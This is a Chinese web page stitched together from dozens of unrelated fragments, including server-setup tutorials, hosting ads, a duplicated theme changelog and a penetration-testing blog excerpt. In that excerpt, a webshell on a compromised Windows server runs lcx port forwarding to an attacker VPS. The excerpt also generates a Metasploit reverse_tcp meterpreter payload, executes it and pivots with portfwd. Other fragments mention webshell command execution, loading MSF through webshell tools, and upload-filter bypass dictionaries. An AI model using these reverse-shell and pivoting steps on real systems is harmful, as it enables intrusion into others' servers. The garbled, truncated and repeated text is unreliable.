Date/time：2013年，这次的目标就是这台服务器权限，接下来这篇文章会写出在此次渗透中遇到的一些阻碍分析及最终拿到服务器权限的过程。其实这次的渗透应该来说还是挺简单的，都是常规的渗透思路，这次的渗透再次证明了细心、耐心和经验的重要性！
最早老魏做网站的时候，公司服务器用的都是 windows2000，后来更换为 windows2003，因为放的都是企业网站，一天也没几个流量。当然现在各种 PHP 程序越来越多，linux 虚拟主机和服务器也越来越普及了，但是国内还是有很多 windows 服务器在运行着，遇到各种问题也在所难免。 一个新手朋友在学习搭建 windows 服务器，安装完 IIS 后打开网站是 404 错误页面。那么我们就这个例子来说一下 Windows2003 安装 IIS 不支持 ASP 解决办法。 1、如果你还没有添加网
大家都知道ASP.NET 网站应用程序（WebSite）可以自动检测到你的ASP.NET应用的文件修改，其中要使用到的就是监视磁盘上的文件/目录的更改，以便应用程序可以采取它认为必要文件创建/删除/修改事件的反应中的任何步骤的FileSystemWatcher 类。 Mono的 FileSystemWatcher实现尽了最大的努力适应各种环境（Linux/Windows/*BSD），在各种操作系统环境下执行其分配的任务，在Unix环境下支持以下后端的系统： FAM kevent (BSD*/MacOSX o
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
网站也可以理解为web应用程序，只不过无需用户下载，只要有网络，随时随地都能访问。
Linux 部署ASP.NET SQLite 应用 的坎坷之旅。文章底部 附示例代码。 有一台闲置的Linux VPS，尝试着部署一下.NET 程序，结果就踏上了坑之路，不过最后算是完美解决问题，遂记录如下。 环境：Linux系统为centos 6 mono 版本 mono-3.2.1 jexus版本 jexus-5.6.4 一.安装环境 1.安装mono 首先安装系统环境： yum -y install gcc gcc-c++ bison pkgconfig glib2-devel gettext m
魏艾斯博客曾经写过几篇 windows 服务器的环境包安装教程，比如Windows VPS 服务器一键 phpStudy 安装环境搭建教程，windows VPS 中如何用网站管理助手建立网站和数据库和windows VPS 用宝塔网站助手建立网站和数据库。windows 服务器用来建站的好处是和我们平时本地电脑的系统一样，上手比较快；缺点也很明显，windows 本身系统资源占用较大，内存管理机制远不如 linux，运行起来相对来说慢一些。 无论如何为了给新手们普及服务器架设知识（也是老魏建立这个博客的初
方法二：修改注册表，（注意修改注册表前一定要先备份一下注册表，备份方法。在 运行>regedit，选择 文件》导出 ，取个文件名，导出即可，如果修改注册表失败，可以找到导出的注册表文件双击运行即可。） HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters 新建 “DWORD值”值名为 “AutoShareServer” 数据值为“0”
Date/time：2013年，早想写这篇文章了，由于最近一直很忙，拖了半个月才抽出时间来写，这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法，在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access，一个很普通的SQL注入漏洞，这里就不详细写了。
【1.能不能执行cmd就看这个命令：net user，net不行就用net1，再不行就上传一个net到可写可读目录，执行/c c:windowstempcookiesnet1.exe user
今天头脑一热到360安全检测那里去为自己的网站进行安全扫描了一番。上次扫描还是一年前，当初扫描一个网站是 94 分，那时候还不懂代码，就这么挂着，被360 公开着。今天的扫描发现了两个漏洞，评分 91 。为了光鲜的 100 ，Jeff决定今个儿决定要解决了这些漏洞。 主题 index.php 文件的页面异常导致本地路径泄漏的漏洞修补 其中一个漏洞是页面异常导致本地路径泄漏，就是打开 http://域名/wp-content/themes/主题/ 这个路径会跳出个错误提示，然后这个提示就会泄露你的服务器路径。
上个月发了篇文章《Blazor 中如何下载文件到浏览器》，介绍了调用《下载中转加速器 VPSDownloader.NET（.NET Core 程序部署到 Linux 系统）》中提到的 VPS 文件中转下载服务后，如何将下载的文件以 Blazor 的方式传出到浏览器的方法。那么这篇文章就回过头来，介绍一下本项目（VPSDownloader.NET）使用 Blazor 的过程。
对于测试的第一项当然是弱口令，bp跑了一通词典，无果。目录又爆破了一通，发现一个web.rar可通，赶紧下载看看，如下图所示。
个人水平有限，文章若有不足之处，感谢各位大佬批评指正，希望能够与各位师傅分享学习。
方法二：修改注册表，（注意修改注册表前一定要先备份一下注册表，备份方法。在运行>regedit，选择 文件》导出，取个文件名，导出即可，如果修改注册表失败，可以找到导出的注册表文件双击运行即可。）
对于 Linux 系统管理员来说，清楚某个服务是否正确地绑定或监听某个端口，是至关重要的。如果你需要处理端口相关的问题，这篇文章可能会对你有用。
魏艾斯博客曾经写过有关 windows 服务器部署 web 环境的文章，比如windows VPS 中如何用网站管理助手建立网站和数据库使用的西部数据网站管理助手；国内目前最好用的宝塔面板，windows VPS 用宝塔网站助手建立网站和数据库，这些都是 windows 服务器中常见的搭建环境工具。本着尝试更多工具软件的目的，今天老魏来介绍下快云小助手（又叫快云管理助手）windows 服务器快速部署 web 环境的过程。 本文老魏主要介绍安装过程及简单搭建 web 环境的过程，做一个初步的研究和探讨。 一
今早起来发现自己开发用的主机被 GFW 屏蔽了，一般来说只会屏蔽一些端口，但是这次直接把IP给block了。
由于刚毕业腾讯云校园优惠套餐结束，无法进行套餐续期。目前将博客数据迁移到阿里云轻量云服务器，带宽5M是腾讯云带宽的5倍。以前也开过CDN但由于各种原因关闭了。近期迁移数据时考虑到腾讯云给的是1M带宽，访问量多时比较慢，而目前使用的阿里云也仅仅只有5M带宽。
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/167985.html原文链接：https://javaforall.cn
CDN公共库是指将常用的JS库存放在CDN节点，以方便广大开发者直接调用。与将JS库存放在服务器单机上相比，CDN公共库更加稳定、高速。 公共CDN能为您的应用程序提供稳定、可靠、高速的服务，包含全球所有最流行的开源JavaScript库。
这篇文章我们主要介绍的是如何利用常用Webshell管理工具中的自定义代码执行功能来上线MSF，附带了中国蚁剑、冰蝎和哥斯拉的内存加载上线，实战渗透中如果遇到以下场景时可尝试文中方法绕过。
以前我们站长选择主机、服务器都会选择海外主机商，海外主机商相对便宜一些，但是随着这几年国内主机商的发展，以及类似腾讯云服务商的出现，我们考虑到速度、稳定以及商家背景，还是会去选择国内大服务商。而且从长远的建站稳定性，还是选择国内服务商靠谱一些。毕竟如今网站的速度和安全性以及综合功能是需要考虑的。
Alt + Enter -- 全屏 Alt + B --打开新的连接 Alt + 1/2/3/4/5.../9 -- 切换到第1/2/3/4/5.../9个标签 Ctrl + A -- 光标移至行首。 Ctrl + B -- 光标前移1个字符 Ctrl + D -- 删除光标后1个字符 Ctrl + E -- 光标移至行末 Ctrl + F -- 光标后移1个字符 Ctrl + H -- 删除光标前的1个字符 Ctrl + J -- 回车 Ctrl + k -- 删除当前光标至行末的字符 Ctrl + P -- 显示前一条命令 Ctrl + M -- 回车 Ctrl + N -- 下一条命令 Ctrl + T -- 交换光标前最后两个字符（思科路由器可用） Ctrl + U -- 清除当前行和缓存的输入 Ctrl + V -- 输入ctrl字符 Ctrl + W -- 删除当前光标至行首的字符
本脚本适用环境： 系统支持：CentOS6+，Debian7+，Ubuntu12+ 内存要求：≥128M 更新日期：2017 年 05 月 28 日
近期绿盟科技应急响应团队在安全事件处置过程中，检测到多家政府、教育、企事业单位网站被黑客植入恶意链接，访问链接后会跳转到指定色情网站。
如果你有多台 SSH 主机需要管理，每次直接手输 `ssh user@ip`自然麻烦。虽然我们可以将其[添加到 `~/.ssh/config`][c] 配置文件中，不过也得手动编辑才行。[Storm][s] 则使这一过程像风一样轻盈完成。
选择虚拟主机建网站，预装了网站应用环境就和数据库环境，提供可视化操作的控制面板环境，操作简单。所以，很多站长和企业现在还是会首先使用虚拟主机。在挑选时，要注意以下几个方面。
今天中午老蒋遇到一个网友要求帮他解决主机的问题，给的服务器开始居然没登录上去，后来才知道原来他用的是Windows系统镜像，问其为什么用WIN系统，何况他也是用的PHP+MYSQL程序建站的。告知自己在选择的时候也不懂选择什么镜像，看到熟悉的Win系统就选择，自己还捣鼓一天才弄成有个WEB环境的。
前面我们讲过虚拟主机、VPS、独立服务器的区别，站长们在确定购买哪种网站空间以后，就需要根据具体参数来选择网站空间了。今天赵一八笔记给大家聊聊那些买空间必须要看懂的虚拟主机参数。
那个，今天 17 号了，马上也该回家了，考虑到在家里可能有时挺无聊的，我就想着能不能在学校的服务器上穿个洞，这样在家里也可以访问到学校 4 路泰坦的服务器，就可以继续学习深度学习了，说干就干，很早就有这个想法了，要是成功的话，以后出去打比赛也可以用显卡训练模型，多爽
如果你买的空间是VPS，也可以自己把系统的时区修改成东8区，这样你就不用去修改原来的代码了。
如果你曾使用过一些新的支持Arduino的硬件平台进行开发，那么可能你已经在你的项目中使用了在线的IoT服务。在这篇文章中，我会演示如何通过搭建一个虚拟专用服务器（VPS）并配置一些软件来为你的Arduino IoT项目提供服务。
开篇 挂VAGEX是很费内存的事情建议用免费VPS的同学就不要尝试了（其实也有免费VPS的方法我成功了就教给大家。）本教程只适合32 bit的系统因为64bit的系统FLASH要自己换过。
使用2011版菜刀访问某个webshell，发现被WAF拦截,，使用2016版可连，想看一下两者的发包特征，搭个IIS、Apache、Nginx、Tomcat环境来看post数据,默认中间件不显示这些数据，有些人可能压根就不会搭，你本意只是想看个发包，还要浪费时间去搭环境？当然也可以使用WireShark等抓包工具，但是又不会用怎么办？没事使用Ladon一条命令就搞定，非常简单。以前教大家用过Ladon的web模块捕获windows密码、获取无回显RCE漏洞命令回显、架设WEB远程下载payload、测试漏洞等，实际上还有很多用途，比如捕获0day、捕获工具payload等
星期六我们子公司受到攻击，我们的网络监测显示有连续6小时的巨大异常流量，我立即联系在场IT，没有得到回应，我修改和限制了他们的 VPS，使得个别 VPS 受攻击不会对整个服务器和其他 VPS 用户造成任何影响，我们一直保持这个 VPS 为开通状态（尽管一直受攻击），攻击又持续了24小时，星期天攻击仍在继续，我们忍无可忍，立即投入到与 DDoS 的战斗中（我们动态扫描屏蔽坏 IP，现在网站已恢复。整个过程很有意思，以后有时间再写一篇博客来描述）。登录到 VPS 第一件事情就是查当前连接和 IP，来自中国的大量
Linux免费开源，建站基本上都是选择Linux系统，而且Linux VPS比Windows VPS要便宜不少，成本大大降低，除非程序有特殊需要，否则还是建议大家使用Linux来当作网站服务器。不过，选择Linux有一个不好的地方就是操作麻烦些。
V6.3 【优化】 优化手机端首页数据中心节点 【修复】 修复独立服务器订购页面无法获取头像名称 【新增】 新增适配官方实名认证 新增首页手机端节点图片 V6.2 【优化】 优化了每次更新覆盖弹窗文件结构 优化了首页卡片图片与文字对称 优化去除用户logo排版 优化了首页文字排版 优化了首页标签 【修复】 修复服务器购买页面标识错误 修复电脑端登录首页导航用户名称颜色不对 修复获取用户QQ名称头像有一定概率报错 【新增】 新增首页服务卡片形成2×2对称 新增首页动态数据中心节点 新增服务器产品页面动态内容卡片 新增服务器产品页面动态服务内容 新增CDN产品页面动态内容卡片 新增首页及所有产品页面返回到顶部图标 V6.1 【优化】 优化升级模块 0.23 优化安装模块获取加密 【修复】 修复电脑端多处样式错位 优化部分细节和独立服务器售卖优化 修复手机QQ QQ浏览器 网站底部排版颜色显示错误 【新增】 暂无新增项目 V6.0 【优化】 采用全新图标样式 优化海外机器加载缓慢 去除全站loading预加载极致体验 优化加载资源采用多节点cdn加载 优化主题首页底部颜色和版权网站信息排版优化 优化公告页面字体颜色暗灰色 现调整为高亮黑 优化首页电脑端手机端轮播图片独立加载资源 【修复】 适配小屏幕兼容问题 修复一处js渲染报错问题 修复两处jquery报错问题 修复部分浏览器手机端轮播图片无法轮播问题 修复手机QQ QQ浏览器 网站底部排版颜色显示错误 【新增】 一键安装模块 一键升级模块 新增后台更新页面 新增图片懒加载优化体验 新增 Font Awesome 5 图标库 V5.62 1.更新注册防刷验证码不分大小写输入验证
V6.3 【优化】 优化手机端首页数据中心节点 【修复】 修复独立服务器订购页面无法获取头像名称 【新增】 新增适配官方实名认证 新增首页手机端节点图片 V6.2 【优化】 优化了每次更新覆盖弹窗文件结构 优化了首页卡片图片与文字对称 优化去除用户logo排版 优化了首页文字排版 优化了首页标签 【修复】 修复服务器购买页面标识错误 修复电脑端登录首页导航用户名称颜色不对 修复获取用户QQ名称头像有一定概率报错 【新增】 新增首页服务卡片形成2×2对称 新增首页动态数据中心节点 新增服务器产品页面动态内容卡片 新增服务器产品页面动态服务内容 新增CDN产品页面动态内容卡片 新增首页及所有产品页面返回到顶部图标 V6.1 【优化】 优化升级模块 0.23 优化安装模块获取加密 【修复】 修复电脑端多处样式错位 优化部分细节和独立服务器售卖优化 修复手机QQ QQ浏览器 网站底部排版颜色显示错误 【新增】 暂无新增项目 V6.0 【优化】 采用全新图标样式 优化海外机器加载缓慢 去除全站loading预加载极致体验 优化加载资源采用多节点cdn加载 优化主题首页底部颜色和版权网站信息排版优化 优化公告页面字体颜色暗灰色 现调整为高亮黑 优化首页电脑端手机端轮播图片独立加载资源 【修复】 适配小屏幕兼容问题 修复一处js渲染报错问题 修复两处jquery报错问题 修复部分浏览器手机端轮播图片无法轮播问题 修复手机QQ QQ浏览器 网站底部排版颜色显示错误 【新增】 一键安装模块 一键升级模块 新增后台更新页面 新增图片懒加载优化体验 新增 Font Awesome 5 图标库 V5.62 1.更新注册防刷验证码不分大小写输入验证 V5.61 1.同步更新官方最新短信注册防刷功能，重做弹窗窗口界面 然后没了
服务器禁ping从某种意义上来说，算是不存活的主机，但nmap是依然能够扫描出来的。 设置禁ping命令： vim /etc/sysctl.conf 打开后按i进入编辑模式，在任意位置新增以下内容 net.ipv4.icmp_echo_ignore_all=1
LNMP一键安装包 V1.5 已经在Vultr、遨游主机、搬瓦工、LocVPS、Linode、vps2ez、DiaHosting、OneAsiaHost、DigitalOcean、KVMLA、景文互联、RamNode、BuyVM、快易互联、80VPS、阿里云等众多VPS的CentOS 6-7、RHEL 6-7、Fedora 21-28、Debian 7-9、Ubuntu 10.04-18.04的32位和64位系统上测试通过(CentOS 5,Debian 6及之前版本其官网已经结束支持无法使用,Debian9上Apache需选2.4.26版本以上。
反代的含义是反向代理，就是你可以访问 A 的域名来达到访问域名 B 的效果。 工具：一台 vps ，一个域名，cloudflare ，caddy
众所周知，常用的虚拟化技术有kvm、XEN，Openvz 还有VMware，如果想知道虚拟机采用的是那些技术，该如何判断呢
手把手教你利用wordpress搭建个人博客，即使是小白也能轻松学会，只要你认真跟着以下步骤走。
对网站进行渗透并不是想的这么简单，相反，复杂又困难！在这里把对渗透的理解说一下吧！
2021年12月25日，来自意大利都灵大学的Giulia Carona和日本东海大学医学院的Shinji Hadano等人在Drug Discov Today合作发表综述“基于人工智能的蛋白质结构数据库有可能加速罕见病研究：AlphaFoldDB和IAHSP/Alsin的案例”。
新购买VPS云服务器后常用VPS测试脚本代码：跑分看看你的VPS综合性能。综合测试VPS硬件信息、CPU，核cores，CPU性能跑分，内存，硬盘大小，硬盘I/O speed、speedtest，国内国外下载速度Download Speed和网络延迟，Trace去程回程路由，一键开启BBR等等的测试脚本。测试完之后大家就会对自己的VPS小鸡有个底呢，知道是个什么样的货色。 测试脚本用到的软件：Xshell安装使用教程
根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法：黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
